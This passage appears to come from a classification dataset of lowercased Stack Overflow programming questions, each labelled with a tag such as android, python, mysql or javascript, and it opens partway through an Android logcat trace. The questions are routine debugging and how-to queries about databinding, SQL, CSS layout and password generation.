15:30:23.777 4257-4280/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.b.a.m.run(unknown source) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1112) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:587) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.777 4257-4280/  w/system.err: caused by: android.system.errnoexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.777 4257-4280/  w/system.err:     at libcore.io.posix.getsockname(native method) 02-22 15:30:23.777 4257-4280/  w/system.err:     at libcore.io.forwardingos.getsockname(forwardingos.java:87) 02-22 15:30:23.777 4257-4280/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:629) 02-22 15:30:23.777 4257-4280/  w/system.err:    ... 17 more 02-22 15:30:23.777 4257-4280/  w/system.err: java.net.socketexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.777 4257-4280/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:633) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.net.socket.cachelocaladdress(socket.java:1001) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.net.socket.connect(socket.java:884) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.platform.connectsocket(platform.java:174) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:152) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.777 4257-4280/  w/system.err:     at com.b.a.m.run(unknown source) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1112) 02-22 15:30:23.777 4257-4280/  w/system.err:     at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:587) 02-22 15:30:23.778 4257-4280/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.778 4257-4280/  w/system.err: caused by: android.system.errnoexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.778 4257-4280/  w/system.err:     at libcore.io.posix.getsockname(native method) 02-22 15:30:23.778 4257-4280/  w/system.err:     at libcore.io.forwardingos.getsockname(forwardingos.java:87) 02-22 15:30:23.778 4257-4280/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:629) 02-22 15:30:23.778 4257-4280/  w/system.err:    ... 17 more 02-22 15:30:23.781 4257-4279/  w/system.err: java.net.socketexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:633) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.net.socket.cachelocaladdress(socket.java:1001) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.net.socket.connect(socket.java:884) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.platform.connectsocket(platform.java:174) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:152) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.b.a(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.aa.run(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.781 4257-4279/  w/system.err: caused by: android.system.errnoexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.posix.getsockname(native method) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.forwardingos.getsockname(forwardingos.java:87) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:629) 02-22 15:30:23.781 4257-4279/  w/system.err:    ... 15 more 02-22 15:30:23.781 4257-4279/  w/system.err: java.net.socketexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:633) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.net.socket.cachelocaladdress(socket.java:1001) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.net.socket.connect(socket.java:884) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.platform.connectsocket(platform.java:174) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.connection.connect(connection.java:152) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.connect(httpengine.java:276) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpengine.sendrequest(httpengine.java:211) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.execute(httpurlconnectionimpl.java:382) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:106) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpurlconnectionimpl.getoutputstream(httpurlconnectionimpl.java:217) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.delegatinghttpsurlconnection.getoutputstream(delegatinghttpsurlconnection.java:218) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.android.okhttp.internal.http.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:25) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.ae.a(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.b.a(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at com.b.a.aa.run(unknown source) 02-22 15:30:23.781 4257-4279/  w/system.err:     at java.lang.thread.run(thread.java:818) 02-22 15:30:23.781 4257-4279/  w/system.err: caused by: android.system.errnoexception: getsockname failed: ebadf (bad file number) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.posix.getsockname(native method) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.forwardingos.getsockname(forwardingos.java:87) 02-22 15:30:23.781 4257-4279/  w/system.err:     at libcore.io.iobridge.getsocketlocaladdress(iobridge.java:629) 02-22 15:30:23.781 4257-4279/  w/system.err:    ... 15 more 02-22 15:30:26.527 4257-4287/com.zeus.indiahistory w/egl_emulation: eglsurfaceattrib not implemented 02-22 15:30:26.527 4257-4287/com.zeus.indiahistory w/openglrenderer: failed to set egl_swap_behavior on surface 0xeec358e0  error=egl_success </code></pre>   *,android
how to databind three levels nested repeaters  i have three nested repeaters  i have databind the first and the second but i can t figure out how to databind the third one my here is my markup:   <pre><code>&lt;asp:repeater id= mainmenurepeater  runat= server &gt;             &lt;headertemplate&gt;&lt;ul&gt;&lt;/headertemplate&gt;             &lt;itemtemplate&gt;              &lt;li&gt;&lt;a title= &lt;%#eval( post_name )%&gt;  id= &lt;%#eval( id )%&gt;   href= &lt;%#resolveurl(eval( post_permalink ))%&gt; &gt;&lt;%# eval( post_name )%&gt;&lt;/a&gt;                 &lt;asp:repeater id= submenurepeater  runat= server &gt;                 &lt;headertemplate&gt;&lt;ul&gt;&lt;/headertemplate&gt;                 &lt;itemtemplate&gt;                   &lt;li&gt;                  &lt;a href= &lt;%#resolveurl(eval( post_permalink ))%&gt; &gt;&lt;%# eval( post_name )%&gt;&lt;/a&gt;                       &lt;asp:repeater id= sub_submenurepeater  runat= server &gt;                       &lt;headertemplate&gt;&lt;ul&gt;&lt;/headertemplate&gt;                         &lt;itemtemplate&gt;                         &lt;li&gt;&lt;a href= &lt;%#resolveurl(eval( post_permalink ))%&gt; &gt;&lt;%# eval( post_name )%&gt;&lt;/a&gt;&lt;/li&gt;                       &lt;/itemtemplate&gt;                       &lt;footertemplate&gt;&lt;/ul&gt;&lt;/footertemplate&gt;                      &lt;/asp:repeater&gt;                  &lt;/li&gt;                  &lt;/itemtemplate&gt;                 &lt;footertemplate&gt;&lt;/ul&gt;&lt;/footertemplate&gt;                 &lt;/asp:repeater&gt;             &lt;/li&gt;             &lt;/itemtemplate&gt;             &lt;footertemplate&gt;&lt;/li&gt;             &lt;br style= clear: left  /&gt;             &lt;/footertemplate&gt;             &lt;/asp:repeater&gt; </code></pre>   and below is my code that databind the second repeater named submenurepeater:   <pre><code>protected sub mainmenurepeater_itemdatabound(byval sender as object  byval e as system.web.ui.webcontrols.repeateritemeventargs) handles mainmenurepeater.itemdatabound         try             if e.item.itemtype = listitemtype.item orelse e.item.itemtype = listitemtype.alternatingitem then                   dim dv as datarowview = ctype(e.item.dataitem  datarowview)                 dim ad as int32 = ctype(databinder.eval(e.item.dataitem   id ).tostring()  int32)                 dim db as iwebmalldatacontextdatacontext = new iwebmalldatacontextdatacontext()                 dim menus = from m in db.iwebmall_posts                             where m.post_type =  page  and m.post_status = 1 and m.post_parent = ad order by m.post_menu_order                             select m.post_permalink  m.post_name  m.id                  dim submenu as repeater = ctype(e.item.findcontrol( submenurepeater )  repeater)                 if menus.count &gt; 0 then                     with submenu                         .datasource = menus                         .databind()                     end with                 end if              end if             catch ex as exception                throw ex         end try     end sub </code></pre>   please how can i databind the third on named sub_submenurepeater. thanks in advance,asp.net
unable to understand  popen  in python  i am python newbie and looking around for understanding the <code>popen</code>. i have the following python code snippet which tries to get directory name and then open them. but  not understanding the parameters given in popen.   <pre><code>directory = sys.argv[1] if directory ==   :   print  proper usage is python mycode.py &lt;directory_name&gt;   p = subprocess.popen([ find    ./  + directory   -name    log* ]  stdout=subprocess.pipe) output  err = p.communicate() foutput = output.split( \n ) </code></pre>,python
javascript - window.moveby not working  i m pretty new to javascript  just learning about the window object. i m trying to make a simple script that will move the browser window 10 pixels in a direction  when one of the arrow keys is pressed.    i ve verified that the event handler works  the key codes are correct  the movescreen() function is being executed and the conditional within it works too. so why won t the screen move    i ve tested in firefox and chrome so far.   <pre><code>function movescreen(direction) {      use strict ;      if (direction ===  up ) window.moveby(0  -10);     if (direction ===  right ) window.moveby(10  0);     if (direction ===  down ) window.moveby(0  10);     if (direction ===  left ) window.moveby(-10  0); }   function handlekeydown(e) {      use strict ;      e = e || window.event;     const key = e.keycode;      switch (key) {         case 38:             movescreen( up );             break;         case 39:             movescreen( right );             break;         case 40:             movescreen( down );             break;         case 37:             movescreen( left );             break;     } }   window.onload = function() {      use strict ;     document.onkeydown = handlekeydown; } </code></pre>   this is the html file  it simply includes the script in the body:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;script src= movewindow.js &gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
directory watch class (.net)  i need a quick yes/no answer on this...    is it possible to get a directory watch class to watch a directory and its sub directories (all the way down) or does the directory watch class only monitor changes/events in the parent directory,.net
c# .net listing contents of remote files  is it possible in .net to list files on a remote location like an url  much in the same way the system.io classes work. all i need is the urls to images that are on a remote server.,.net
how to post the array of images in a single request by using afnetworking  i need to post the array of images in a single request.....  but i don t know how to do that in a single request by using afnetworking here is my code:   <pre><code>-(void)callinguploadbusinessbussinessgalleryimageapi{      businessuser *bususer = [businessuser getbusinessuser];     nsmutablearray *arrimgdata = [[nsmutablearray alloc] init];      for (int i = 0; i &lt; self.chosenimages.count; i++) {        uploadimagedata = uiimagejpegrepresentation([self.chosenimages objectatindex:i]  0.1);       nsurl *uploadprofpicurl = [nsurl urlwithstring:baseurl];     nsmutabledictionary *datadictionary = [[nsmutabledictionary alloc] init];     [datadictionary setvalue:[nsnumber numberwithlong:bususer.business_id] forkey:@ business_id ];     networkhandler *networkhandler = [[networkhandler alloc] initwithrequesturl:uploadprofpicurl withbody:datadictionary withmethodtype:httpmethodpost withheaderfeild:nil];   nsstring *bussinessid =[datadictionary valueforkey:@ business_id ];     nsstring*urlparameter= [nsstring stringwithformat:@ %@/%@   uploadbusinessgalleryimageurl  bussinessid];     nslog(@ %@   urlparameter);      [networkhandler startuploadrequest:@   withdata:uploadimagedata  withtype:filetypezip withurlparameter:urlparameter withfilelocation:@ imagefile  successblock:^(id responseobject) {         nslog(@ %@responseobject   responseobject);     } progressblock:^(nsuinteger byteswritten  long long totalbyteswritten  long long totalbytesexpectedtowrite) {      } failureblock:^(nsstring *errordescription  id errorresponse) {      }]; } </code></pre>   please help me to solve this issues.,objective-c
angularjs: is it possible to invalidate a specific form input field from the controller   i have a text input field for address  whenever the address is entered and search button next to the input field is clicked  i geocode the address and replace the input text with the result from the geocoder. i also set a scope variable  addressok .    is it possible to invalidate this specific form input field according to <code>$scope.addressok</code> or do i have to write a directive for this address geocoding input that invalidates the form when needed,angularjs
search and replace all instances of text that has the same name  i am trying to do a search and replace of text that has the same name inside the body but it is partial working  some of the text is being replace  but then some of the old text still show up  not quite sure what is going on.   <pre><code>$(document).ready(function() {     $( * ).each(function(){         if($(this).children().length == 0)              $(this).text($(this).text().replace( old text    replace with new text ));         }); }); </code></pre>   much help is appreciated    thanks,jquery
what is difference between the xpath and xpathselect in asp.net datalist   i got this question from programming asp.net and web-site called quickstart.asp.net. in this it is mentioned that xpath and xpathselect is how used and syntex but it is not mentioned how it differs in work  i ckecked but both are giving same result.,asp.net
incompatible library version puma_http11.so  when i am running <code>rake db:create</code> in my ruby on rails project it s giving me error <code>loaderror: incompatible library version - /home/tps/.rvm/gems/ruby-2.3.1/gems/puma-3.6.0/lib/puma/puma_http11.so</code>    here is full error   <pre><code>tps@tps-h81m-s1:~/sites/my_app$ rake db:create rake aborted! loaderror: incompatible library version - /home/tps/.rvm/gems/ruby-    2.3.1/gems/puma-3.6.0/lib/puma/puma_http11.so /home/tps/.rvm/gems/ruby-2.3.1/gems/puma-3.6.0/lib/puma/server.rb:15:in `require  /home/tps/.rvm/gems/ruby-2.3.1/gems/puma-  3.6.0/lib/puma/server.rb:15:in `&lt;top (required)&gt;  /home/tps/.rvm/gems/ruby-2.3.1/gems/puma-3.6.0/lib/puma.rb:14:in `require  /home/tps/.rvm/gems/ruby-2.3.1/gems/puma-3.6.0/lib/puma.rb:14:in `&lt;top   (required)&gt;  /home/tps/sites/my_app/config/application.rb:7:in `&lt;top (required)&gt;  /home/tps/sites/my_app/rakefile:4:in `&lt;top (required)&gt;  /home/tps/.rvm/gems/ruby-2.3.1/gems/rake-11.3.0/exe/rake:27:in `&lt;top (required)&gt;  (see full trace by running task with --trace) </code></pre>   can anyone please help me     thanks in advance,ruby-on-rails
give an optional parameter a default value that depends on another parameter in python  my question is rather simple : is there a more pythonic way of doing this    <pre><code>def f(array  start=0  end=none):     if not end:         end = len(array)     (...) </code></pre>   because using <code>f(array  start=0  end=len(array)</code> won t work.,python
i m gettin a shockwave/flash error when i compile in visual stuidio. can i fix that   this has been happening for a while. i get an message about the hockwave/flash error about every 3 times. it s really a pain. another thing that s happening is i m getting a message box saying that it s taking too long for the 64bit debug to load (or something... not even sure if it was load.). i imagine that at least one person has seen that last one.    can someone tell me what s going one  is there a way to fix it  thanks. here s the pic. <a href= http://i.stack.imgur.com/91gko.png  rel= nofollow >enter image description here</a>,.net
can tableviewcell(s) have different heights   as part of a table  is it possible for <code>tableviewcell</code> to have different heights     if  so  how can this be done,ios
sql select between 2 dates not working  i have a column named  date of payment  ( a nvarchar(50) ) and i am trying to select all the rows which the date is in the year 2015.   <pre><code>select id [date of payment] from mytable where     ( date of payment  between  2015/01/1  and  2015/12/31 ) </code></pre>   when i run the select statement above it doesn t return any rows. the date of payment samples could be 1/1/2015 or 1/1/15 etc.  is there something wrong with my syntax  tia,sql
sql procedure select where a set-column containts any value of a set-parameter  i just wanted to know if there is an easy way when i have following entries:   <pre><code>++++++++++++++++++ + id + languages + ++++++++++++++++++ + 1  + de        + ++++++++++++++++++ + 2  + de en     + ++++++++++++++++++ + 3  + fr        + ++++++++++++++++++ </code></pre>   and the value of the parameter in my procedure is <code> de en fr </code> that he finds all above entries.    i googled and googled and came to the solution that i have to iterate over all values in the parameter and split them with a <code>substring</code> and make a   <pre><code>find_in_set(splittedparam  `languages`) </code></pre>   for them.    is there an easier (with shorter code) way,mysql
i have 3 functions i am trying to put into a switch case  here are the functions:   <pre><code>function blocklayer1(){     $( #block1 ).click(function() {         $( #layer1 ).toggle();     });         }  function blocklayer2(){ $( #block2 ).click(function() {     $( #layer2 ).toggle(); });     }  function blocklayer3(){ $( #block3 ).click(function() {     $( #layer3 ).toggle(); });   } </code></pre>   here is the case that is not working:   <pre><code>$( #block ).click(function(evt) {   switch ($( #layer_container ).index(this)) {     case 0 :     $( #layer1 ).toggle();     break;     case 1 :     $( #layer2 ).toggle();     break;     case 2 :     $( #layer3 ).toggle();     break;     }  }); } </code></pre>,jquery
addresponse - adding to memory only  i found one solution related with <code>addresponse - adding to memory only</code> on stackoverflow  but my app still reporting it even doing the recommended.    <a href= https://stackoverflow.com/questions/14579748/addresponse-adding-to-memory-only-xcode >addresponse - adding to memory only (xcode)</a>   <hr>   appdelegate.m   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     ...     // enable cache system     nsurlcache *cache = [[nsurlcache alloc] initwithmemorycapacity:4*1024*1024 diskcapacity:32*1024*1024 diskpath:nil];     [nsurlcache setsharedurlcache:cache];     ... } </code></pre>   log:   <pre><code>2013-05-22 19:44:21.648 setparty[12912:380f] addresponse - adding to memory only: http://server/api/1.0/appimages/ view=1 2013-05-22 19:44:21.667 setparty[12912:380f] addresponse - adding to memory only: http://server/api/1.0/appimages/ view=2 2013-05-22 19:44:21.689 setparty[12912:380f] addresponse - adding to memory only: http://itunes.apple.com/lookup/ id=634476579 </code></pre>  <hr>   does anyone have any idea what may be related with these logs,objective-c
css drop down menu absolute - need clarification <hr>   hi    i have this fat menu code from <a href= http://nettuts.s3.amazonaws.com/819_megamenu/demo/index.html#  rel= nofollow >http://nettuts.s3.amazonaws.com/819_megamenu/demo/index.html#</a>:   <pre><code>&lt;ul id= main &gt; &lt;li&gt;&lt;a href=   class= drop &gt;home&lt;/a&gt;     &lt;div class= dropdown_2columns &gt;&lt;!-- begin 2 columns container --&gt;          &lt;div class= col_2 &gt;             &lt;h2&gt;welcome !&lt;/h2&gt;         &lt;/div&gt;          &lt;div class= col_2 &gt;             &lt;p&gt;hi and welcome here ! this is a showcase of the possibilities of this awesome mega drop down menu.&lt;/p&gt;                          &lt;p&gt;this item comes with a large range of prepared typographic stylings such as headings  lists  etc.&lt;/p&gt;                      &lt;/div&gt;          &lt;div class= col_2 &gt;             &lt;h2&gt;cross browser support&lt;/h2&gt;         &lt;/div&gt;          &lt;div class= col_1 &gt;             &lt;img src= img/browsers.png  width= 125  height= 48  alt=   /&gt;         &lt;/div&gt;          &lt;div class= col_1 &gt;             &lt;p&gt;this mega menu has been tested in all major browsers.&lt;/p&gt;         &lt;/div&gt;      &lt;/div &lt;/li&gt; </code></pre>   the relevant portion of the style is:   <pre><code>.dropdown_1column   .dropdown_2columns   .dropdown_3columns   .dropdown_4columns  .dropdown_5columns {     margin:4px auto;     float:left;     position:absolute;     left:-999em; /* hides the drop down */     text-align:left; }  .dropdown_1column {width: 140px;} .dropdown_2columns {width: 280px;} .dropdown_3columns {width: 420px;} .dropdown_4columns {width: 560px;} .dropdown_5columns {width: 700px;}  #menu li:hover .dropdown_1column   #menu li:hover .dropdown_2columns   #menu li:hover .dropdown_3columns  #menu li:hover .dropdown_4columns  #menu li:hover .dropdown_5columns {     left:-1px;     top:auto; }  #menu li {     float:left;     display:block;     text-align:center;     position:relative;     padding: 4px 10px 4px 10px;     margin-right:30px;     margin-top:7px;     border:none; }  #menu li:hover { }  #menu li a {     display:block;     outline:0; }         #menu li:hover a {     color:#161616;     text-shadow: 1px 1px 1px #ffffff; } #menu li .drop {     padding-right:21px;     background:url( img/drop.png ) no-repeat right 8px; } </code></pre>   even though the position of the dropdown menu is mentioned as absolute - there is no mention of the absolute position (ie co-ordinates). if the position:absolute is removed then  the subsequent elements (such as  5 elements   etc) are floated around the dropdown menu (ie the one that pops up after selecting the  home  menu from menubar). hence absolute is making the drop down to be placed directly under the home in the menubar and the next menu  5 columns  is placed next to  home  in the menu bar and not next to the dropdown menu. then how is this working (ie how is the browser understanding it to be rendered as absolute) without mentioning the values of top/bottom/left/right co-ordinates  in other examples of position: absolute such as for the ones in w3schools  the position is mentioned directly ie top: 10px  left: 5px etc. but here that is happening like magic (but is not helping my understanding at all). so please help me understand this and would highly appreciate such help.    thanks,css
mysql select filtered count for field along with total rows in table for same field  i have a table with customers and stores. stores represents the places in which they have purchased something from me. i want to count how many times they have bought something from each store along with the total count of times they ve purchased something from any store.    sample table called purchase:   <pre> customer    store abc         store 1 abc         store 2 abc         store 2 abc         store 3 abc         store 3 abc         store 4 abc         store 4 abc         store 4 </pre>   the results i want:<pre> customer    store       count   total abc         store 1       1       8 abc         store 2       2       8 abc         store 3       2       8 abc         store 4       3       8 </pre>    i tried something like this but it took a long time as there are over 40k records:   <pre><code>select a.customer  store  count(a.customer) as thisstore from purchase a  left join      (     select count(customer) as totalsales customer      from purchase      group by customer) b  on b.customer=n.customer group by a.customer; </code></pre>   if anyone knows of a better way to do this please let me know - thanks.,mysql
getting error at the time of installing an apk  check out error logcat. i am in trouble install an apk    <a href= https://i.stack.imgur.com/cgwmk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cgwmk.png  alt= check out error logcat. i am in trouble install an apk ></a>,android
reading remote windows event logs takes a very long time  i have written a c# program which connects to a remote host and reads windows event logs.   <pre><code>system.diagnostics.eventlog eventlog = new system.diagnostics.eventlog(); eventlog.log =  application ; eventlog.machinename =  remotemachinename ; if (eventlog.exists(eventlog.log  eventlog.machinename)) {     foreach (eventlogentry entry in eventlog.entries)     {         console.writeline(entry.message);     } } </code></pre>   however  due to the extremely large number of events  when i run this code  it takes some time to fetch <code>eventlog.entries</code>.    <strong>update:</strong> is there a way to read logs since a particular time (say  logs created since past 1 hour) instead of reading all logs   my plan was to read all logs and later filter logs created since past 1 hour  but this is likely not a solution.,c#
using array elements to assign “id=” values returns: typeerror: document.getelementbyid(...) is null  i m trying to write calculated values to table cells referencing them by their <code>id=</code> tag that are chosen using array elements. all attempts to get this working such as where <code>“ “</code> are coded  and first trying <code>spans[index]= spans[index].tostring();</code> and using <code>window.settimeout(function () { code.. }  0);</code> gives the above error.    the many of the similar questions that i have found posted have responses suggesting that the error is related to page loading.    i am either misunderstanding the solutions given or what i m attempting is different. it would be  appreciated if someone could give an example of how this is accomplished.      <pre><code>function outputresults() {     var spans = [ span1    span2    span3 ];     var outputs = [ output1    output2    output3 ];      for (var index = 0; index &lt; spans.length; index++)     {          outputs[index] = (outputs[index] * 13) / 100;         (document.getelementbyid( \ spans[index]\  ).innerhtml = outputs[index]);     }; }; </code></pre>    <pre><code>&lt;table border= 1  width= 300  /&gt;     &lt;tr /&gt;         &lt;td /&gt; &lt;span id= span1 &gt;&amp;nbsp;&lt;/span&gt; &lt;/td&gt;         &lt;td /&gt; &lt;span id= span2 &gt;&amp;nbsp;&lt;/span&gt; &lt;/td&gt;         &lt;td /&gt; &lt;span id= span3 &gt;&amp;nbsp;&lt;/span&gt; &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; &lt;br /&gt; &lt;input type= button  value= click to fill cells  onclick= outputresults();  /&gt; </code></pre>,javascript
mysql count across multiple tables with multiple conditions  i need to generate a report of how many registered users there are based on groups with more than  x  members (members are users and can be registered or not registered).      a real simplified version would be:   <pre><code>table.users userid int(11) not null  username varchar(40)  primary key (userid)  table.groups gid int(11) not null  guserid int(11) not null  groupid varchar(12) not null  primary key (gid) </code></pre>   and some sample data:   <pre><code>insert into users (userid  username) values ( 1   bob ) ( 2   steve ) ( 3    ) ( 4   jill )  ( 5    ) ( 6    ) ( 7   john ) ( 8   stan )  ( 9    ) ( 10   rachel ) ( 11   lisa ); </code></pre>   out of those 11 users  7 have usernames (registered)   <pre><code>insert into groups (gid  guserid  groupid) values ( 1   1   abc123 ) ( 2   2   abc123 ) ( 3   3   xyz789 ) ( 4   4   abc123 )   ( 5   5   xyz789 ) ( 6   6   abc123 ) ( 7   7   def456 ) ( 8   8   abc123 )   ( 9   9   def456 ) ( 10   10   xyz789 ) ( 11   11   xyz789 ); </code></pre>   i need to get the groupid  the count of that groupid in the groups table  and then the count of the users registered for that group (username is not null).     <pre><code> abc123   5   4   xyz789   4   2   def456   2   1  </code></pre>   the real data is a much larger subset and i need to get only results where we have a possible number of users in groups of more than 500 (which is around 1 000 groups which have anywhere from 500 to 25000 possible members).  everything i ve tried involves nested selects and i can get close  but not the exact data returned that i need.,mysql
how to generate a random password using these requirements   i was able to do this in c# but can t translate it to javascript. i found this post  <a href= https://stackoverflow.com/questions/9719570/generate-random-password-string-with-requirements-in-javascript >generate random password string with requirements in javascript</a>  but i can t customize this to my requirements:    a password should be at least 8 chracters in length and maximum of 13 characters and must contain at least one character from each of the following string collections:   <pre><code>string specialcharacters =  ~!@#$%^&amp;*()_+=-|\\}]{[\  :; /&gt;.&lt;  ; string numbers =  0123456789 ; string smallletters =  abcdefghijklmnopqrstuvwxyz ; string capitalletters =  abcdefghijklmnopqrstuvwxyz ; </code></pre>   can you please help   many thanks!    <strong>edit:</strong>    here s my code in c#. sorry  it s a bit lengthy:   <pre><code>private string createrandompassword(int passwordlength)         {             string specialcharacters =  ~!@#$%^&amp;*()_+=-|\\}]{[\  :; /&gt;.&lt;  ;             string numbers =  0123456789 ;             string smallletters =  abcdefghijklmnopqrstuvwxyz ;             string capitalletters =  abcdefghijklmnopqrstuvwxyz ;             string allowedchars =   ;              char[] chars = new char[passwordlength];             string password = string.empty;             random rd = new random();              int ctr = 0;             int prop = 4;              if(!_password.containsspecialcharacters &amp;&amp; !_password.containsnumbers &amp;&amp; !_password.containssmallletters &amp;&amp; !_password.containscapitalletters)                 return string.empty;              string sc =   ;             string num =   ;             string sl =   ;             string cl =   ;              if(_password.containsspecialcharacters)             {                 // get a special character randomly                 rd = new random();                 sc = specialcharacters[rd.next(0  specialcharacters.length)].tostring();                 allowedchars += specialcharacters;             }             else             {                 prop--;             }              if(_password.containsnumbers)             {                 // get a random number randomly                 rd = new random();                 num = numbers[rd.next(0  numbers.length)].tostring();                 allowedchars += numbers;             }             else             {                 prop--;             }              if(_password.containssmallletters)             {                 // get a small letter randomly                 rd = new random();                 sl = smallletters[rd.next(0  smallletters.length)].tostring();                 allowedchars += smallletters;             }             else             {                 prop--;             }              if(_password.containscapitalletters)             {                 // get a capital letter randomly                 rd = new random();                 cl = capitalletters[rd.next(0  capitalletters.length)].tostring();                 allowedchars += capitalletters;              }             else             {                 prop--;             }              for (; ctr &lt; passwordlength - prop; ctr++)                 password += allowedchars[rd.next(0  allowedchars.length)];               return password + sc + num + sl + cl;         } </code></pre>,javascript
